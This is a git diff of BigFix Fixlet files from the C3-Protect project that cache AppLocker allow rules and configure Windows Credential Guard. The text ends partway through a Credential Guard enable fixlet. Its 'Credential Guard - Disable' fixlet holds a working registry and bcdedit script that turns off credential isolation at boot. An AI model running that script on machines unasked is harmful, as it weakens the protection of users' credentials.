+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Cache Applocker Rules - Allow Everyone to run Scripts in their Profiles except AppData - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it provides a rule for Script</P>
+<P>The rule self describes as: Allow Everyone to run Scripts in their profiles except for AppData </P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[(not exists file (pathname of data folder of client & "\__Global\Applocker\Script-Allow Everyone to run Scripts in their profiles except for AppData.xml"))]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="Script-Allow Everyone to run Scripts in their profiles except for AppData"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+<RuleCollection Type="Script">
+<FilePathRule Id="4687599f-786d-4bae-8e66-2413a02b0a4a" Name="Allow Everyone to run Scripts in their profiles except for AppData" Description="" UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition Path="%OSDRIVE%\users\*" /></Conditions><Exceptions><FilePathCondition Path="%OSDRIVE%\users\*\Appdata\*" /></Exceptions></FilePathRule>
+</RuleCollection>
+</AppLockerPolicy>
+_end_
+
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
+
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Signed AppX - Windows (20710).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Signed AppX - Windows (20710).bes
index 1294b5a33..13c5e2826 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Signed AppX - Windows (20710).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Signed AppX - Windows (20710).bes	
@@ -1,64 +1,64 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Cache Applocker Rules - Allow Everyone to run Signed AppX - Windows
-  ID       : 20710
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-28T14:01:02
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Cache Applocker Rules - Allow Everyone to run Signed AppX - Windows</Title>
-    <Description><![CDATA[<P>This policy adds&nbsp;a policy&nbsp;Applocker. Specifically it configures:</P>
-<P>AppX</P>
-<UL>
-<LI>Allow everyone to run signed AppX</LI></UL>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\Everyone-AppX-Signed.xml")]]></Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-parameter "RuleName"="Everyone-AppX-Signed"
-parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
-
-delete __createfile
-createfile until _end_
-<AppLockerPolicy Version="1">
-	<RuleCollection Type="Appx">
-		<FilePublisherRule Id="a9e18c21-ff8f-43cf-b9fc-db40eed693ba" Name="(Default Rule) All signed packaged apps" Description="Allows members of the Everyone group to run packaged apps that are signed." UserOrGroupSid="S-1-1-0" Action="Allow">
-			<Conditions>
-				<FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="*">
-					<BinaryVersionRange LowSection="0.0.0.0" HighSection="*" />
-				</FilePublisherCondition>
-			</Conditions>
-		</FilePublisherRule>
-	</RuleCollection>
-</AppLockerPolicy>
-
-
-_end_
-folder create "{parameter "Storage"}"
-
-delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
-move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Rules - Allow Everyone to run Signed AppX - Windows
+  ID       : 20710
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-28T14:01:02
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Cache Applocker Rules - Allow Everyone to run Signed AppX - Windows</Title>
+    <Description><![CDATA[<P>This policy adds&nbsp;a policy&nbsp;Applocker. Specifically it configures:</P>
+<P>AppX</P>
+<UL>
+<LI>Allow everyone to run signed AppX</LI></UL>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\Everyone-AppX-Signed.xml")]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="Everyone-AppX-Signed"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Appx">
+		<FilePublisherRule Id="a9e18c21-ff8f-43cf-b9fc-db40eed693ba" Name="(Default Rule) All signed packaged apps" Description="Allows members of the Everyone group to run packaged apps that are signed." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="*">
+					<BinaryVersionRange LowSection="0.0.0.0" HighSection="*" />
+				</FilePublisherCondition>
+			</Conditions>
+		</FilePublisherRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Signed Executables - Windows (20711).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Signed Executables - Windows (20711).bes
index 97e5d1e00..b2d6423fb 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Signed Executables - Windows (20711).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Signed Executables - Windows (20711).bes	
@@ -1,66 +1,66 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Cache Applocker Rules - Allow Everyone to run Signed Executables - Windows
-  ID       : 20711
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-28T14:01:09
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Cache Applocker Rules - Allow Everyone to run Signed Executables - Windows</Title>
-    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
-<P>Executables</P>
-<UL>
-<LI>Allow everyone to run signed executables</LI></UL>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\Everyone-Exe-Signed.xml")]]></Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-parameter "RuleName"="Everyone-Exe-Signed"
-parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
-
-delete __createfile
-// This Rule uses a custom generated GUID
-createfile until _end_
-<AppLockerPolicy Version="1">
-	<RuleCollection Type="Exe">
-		<FilePublisherRule Id="4e586c7f-c597-46fc-a4e4-20008f03463d" Name="(Custom Rule) All digitally signed Windows Executable files" Description="Allows members of the Everyone group to run digitally signed Windows Executable files." UserOrGroupSid="S-1-1-0" Action="Allow">
-			<Conditions>
-				<FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="*">
-					<BinaryVersionRange LowSection="0.0.0.0" HighSection="*" />
-				</FilePublisherCondition>
-			</Conditions>
-		</FilePublisherRule>
-	</RuleCollection>
-</AppLockerPolicy>
-
-
-_end_
-folder create "{parameter "Storage"}"
-
-delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
-move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Rules - Allow Everyone to run Signed Executables - Windows
+  ID       : 20711
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-28T14:01:09
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Cache Applocker Rules - Allow Everyone to run Signed Executables - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
+<P>Executables</P>
+<UL>
+<LI>Allow everyone to run signed executables</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\Everyone-Exe-Signed.xml")]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="Everyone-Exe-Signed"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+// This Rule uses a custom generated GUID
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Exe">
+		<FilePublisherRule Id="4e586c7f-c597-46fc-a4e4-20008f03463d" Name="(Custom Rule) All digitally signed Windows Executable files" Description="Allows members of the Everyone group to run digitally signed Windows Executable files." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="*">
+					<BinaryVersionRange LowSection="0.0.0.0" HighSection="*" />
+				</FilePublisherCondition>
+			</Conditions>
+		</FilePublisherRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Signed Installers - Windows (20712).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Signed Installers - Windows (20712).bes
index 133530383..86e28ffa4 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Signed Installers - Windows (20712).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Signed Installers - Windows (20712).bes	
@@ -1,65 +1,65 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Cache Applocker Rules - Allow Everyone to run Signed Installers - Windows
-  ID       : 20712
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-28T14:01:16
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Cache Applocker Rules - Allow Everyone to run Signed Installers - Windows</Title>
-    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
-<P>Installers</P>
-<UL>
-<LI>Allow everyone to run signed installers</LI></UL>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\Everyone-Msi-Signed.xml")]]></Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-parameter "RuleName"="Everyone-Msi-Signed"
-parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
-
-delete __createfile
-createfile until _end_
-<AppLockerPolicy Version="1">
-	<RuleCollection Type="Msi">
-		<FilePublisherRule Id="b7af7102-efde-4369-8a89-7a6a392d1473" Name="(Default Rule) All digitally signed Windows Installer files" Description="Allows members of the Everyone group to run digitally signed Windows Installer files." UserOrGroupSid="S-1-1-0" Action="Allow">
-			<Conditions>
-				<FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="*">
-					<BinaryVersionRange LowSection="0.0.0.0" HighSection="*" />
-				</FilePublisherCondition>
-			</Conditions>
-		</FilePublisherRule>
-	</RuleCollection>
-</AppLockerPolicy>
-
-
-_end_
-folder create "{parameter "Storage"}"
-
-delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
-move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Rules - Allow Everyone to run Signed Installers - Windows
+  ID       : 20712
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-28T14:01:16
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Cache Applocker Rules - Allow Everyone to run Signed Installers - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
+<P>Installers</P>
+<UL>
+<LI>Allow everyone to run signed installers</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\Everyone-Msi-Signed.xml")]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="Everyone-Msi-Signed"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Msi">
+		<FilePublisherRule Id="b7af7102-efde-4369-8a89-7a6a392d1473" Name="(Default Rule) All digitally signed Windows Installer files" Description="Allows members of the Everyone group to run digitally signed Windows Installer files." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="*">
+					<BinaryVersionRange LowSection="0.0.0.0" HighSection="*" />
+				</FilePublisherCondition>
+			</Conditions>
+		</FilePublisherRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Credential Guard - Disable - Windows (20652).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Credential Guard - Disable - Windows (20652).bes
index 05a30f3cd..77851cb83 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Credential Guard - Disable - Windows (20652).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Credential Guard - Disable - Windows (20652).bes	
@@ -1,61 +1,61 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Credential Guard - Disable - Windows
-  ID       : 20652
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-17T15:28:23
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Credential Guard - Disable - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet disables Credential Guard on Windows devices that support it. </P>
-<P><STRONG><FONT color=#ff0000>Note:</FONT></STRONG> This Fixlet should be thoroughly tested in your environment before using as it edits the Windows Bootloader to disable credential guard. For this reason, this fixlet has NO DEFAULT ACTION.</P>
-<P>For more information on Credential Guard please see: <A href="https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard">https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>set of (integer values of property &quot;SecurityServicesConfigured&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 1 /* Credential Guard is Configured */ or set of (integer values of property &quot;SecurityServicesRunning&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 1 /* Credential Guard is Running */</Relevance>
-    <Category>Virtualization Based Security</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-12</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Action ID="Action21509">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
-// Enter your action script here
-
-regset &quot;[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA]&quot; &quot;LsaCfgFlags&quot;=dword:00000000
-
-delete __createfile
-delete run.bat
-
-createfile until _end_
-
-mountvol X: /s
-copy %WINDIR%\System32\SecConfig.efi X:\EFI\Microsoft\Boot\SecConfig.efi /Y
-bcdedit /create {{0cb3b571-2f2e-4343-a879-d86a476d7215} /d &quot;DebugTool&quot; /application osloader
-bcdedit /set {{0cb3b571-2f2e-4343-a879-d86a476d7215} path &quot;\EFI\Microsoft\Boot\SecConfig.efi&quot;
-bcdedit /set {{bootmgr} bootsequence {{0cb3b571-2f2e-4343-a879-d86a476d7215}
-bcdedit /set {{0cb3b571-2f2e-4343-a879-d86a476d7215} loadoptions DISABLE-LSA-ISO
-bcdedit /set {{0cb3b571-2f2e-4343-a879-d86a476d7215} device partition=X:
-mountvol X: /d
-
-_end_
-move __createfile run.bat
-
-wait run.bat
-
-action requires restart</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Credential Guard - Disable - Windows
+  ID       : 20652
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-17T15:28:23
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Credential Guard - Disable - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet disables Credential Guard on Windows devices that support it. </P>
+<P><STRONG><FONT color=#ff0000>Note:</FONT></STRONG> This Fixlet should be thoroughly tested in your environment before using as it edits the Windows Bootloader to disable credential guard. For this reason, this fixlet has NO DEFAULT ACTION.</P>
+<P>For more information on Credential Guard please see: <A href="https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard">https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>set of (integer values of property &quot;SecurityServicesConfigured&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 1 /* Credential Guard is Configured */ or set of (integer values of property &quot;SecurityServicesRunning&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 1 /* Credential Guard is Running */</Relevance>
+    <Category>Virtualization Based Security</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-12</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action21509">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+// Enter your action script here
+
+regset &quot;[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA]&quot; &quot;LsaCfgFlags&quot;=dword:00000000
+
+delete __createfile
+delete run.bat
+
+createfile until _end_
+
+mountvol X: /s
+copy %WINDIR%\System32\SecConfig.efi X:\EFI\Microsoft\Boot\SecConfig.efi /Y
+bcdedit /create {{0cb3b571-2f2e-4343-a879-d86a476d7215} /d &quot;DebugTool&quot; /application osloader
+bcdedit /set {{0cb3b571-2f2e-4343-a879-d86a476d7215} path &quot;\EFI\Microsoft\Boot\SecConfig.efi&quot;
+bcdedit /set {{bootmgr} bootsequence {{0cb3b571-2f2e-4343-a879-d86a476d7215}
+bcdedit /set {{0cb3b571-2f2e-4343-a879-d86a476d7215} loadoptions DISABLE-LSA-ISO
+bcdedit /set {{0cb3b571-2f2e-4343-a879-d86a476d7215} device partition=X:
+mountvol X: /d
+
+_end_
+move __createfile run.bat
+
+wait run.bat
+
+action requires restart</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Credential Guard - Enable with UEFI Lock - Windows (20653).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Credential Guard - Enable with UEFI Lock - Windows (20653).bes
index f1caca9bc..fe25097a1 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Credential Guard - Enable with UEFI Lock - Windows (20653).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Credential Guard - Enable with UEFI Lock - Windows (20653).bes	
@@ -1,64 +1,64 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Credential Guard - Enable with UEFI Lock - Windows
-  ID       : 20653
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-17T15:28:28
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Credential Guard - Enable with UEFI Lock - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet enables Credential Guard on Windows devices that support it. </P>
-<P>Credential Guard requires the following:</P>
-<OL>
-<LI>Physical PC (Virtual Machines are not Supported)
-<LI>Windows 10 Enterprise
-<LI>x64 Architecture
-<LI>UEFI 2.3.1
-<LI>Secure Boot
-<LI>Intel VT-x or AMD-V
-<LI>Second Level Address Translation (SLAT) Support</LI></OL>
-<P>The following features are recommended for Credential Guard:</P>
-<OL>
-<LI>IOMMU
-<LI>TPM 1.2 or 2.0</LI></OL>
-<P>Before you can enable Credential Guard you must activate Virtualization Based Security using Secure Boot or Secure Boot and DMA. To do this please use:</P>
-<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
-<P>Fixlet: Config - Virtualization Based Security - Using Secure Boot - Windows</P>
-<P>Fixlet: Config - Virtualization Based Security - Using Secure Boot and DMA&nbsp;- Windows</P></BLOCKQUOTE>
-<P>You also must enable Hyper-V and Isolated User Mode. To do this please use:</P>
-<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
-<P>Fixlet: Config - Isolated User Mode - Enable - Windows</P>
-<P>Fixlet: Config - Hyper-V Platform - Enable - Windows</P></BLOCKQUOTE>
